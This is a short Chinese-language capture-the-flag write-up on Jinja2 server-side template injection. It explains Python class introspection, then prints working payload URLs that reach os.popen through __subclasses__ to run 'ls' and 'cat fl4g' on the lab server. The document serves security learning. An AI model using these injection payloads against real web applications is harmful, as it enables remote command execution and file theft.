一.進入實驗發現是python的模板注入
1.我們先來了解一下:
instance.__class__ 可以獲取當前實例的類對象
class.__mro__ 獲取當前類對象的所有繼承類
每一個新式類都保留了它所有的子類的引用,__subclasses__()這個方法返回了類的所有存活的子類的引用(注意是類對象引用,不是實例)
在Jinja2模板引擎中,{{}}
是變量包裹標識符。{{}}
並不僅僅可以傳遞變量,還可以執行一些簡單的表達式。
這里就不一一說明了,我也不是很懂這個漏洞,想更詳細地了解就看看這個 https://www.freebuf.com/column/187845.html
2.實驗步驟:
判斷是否存在漏洞 : 發現1+1被執行了,也就可以利用這漏洞了
通過 http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模塊
由於我們想要讀取到flag文件里的信息,所以選用 os.popen
首先我們要找到os模塊的位置,他是位於<class 'site._Printer'>里面 ,結果查找在71
通過`__subclasses__()[71].__init__.__globals__['os'].popen('命令行語句').read()`
來調用服務器的控制台並顯示。
我們構造 http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('ls').read()%7D%7D
根據返回的結果可以知道我們要找的flag在fl4g里面,現在查看這個文件即可得到flag。
http://111.198.29.45:55462/%7B%7B''.__class__.__mro__[2].__subclasses__()[71]
.__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D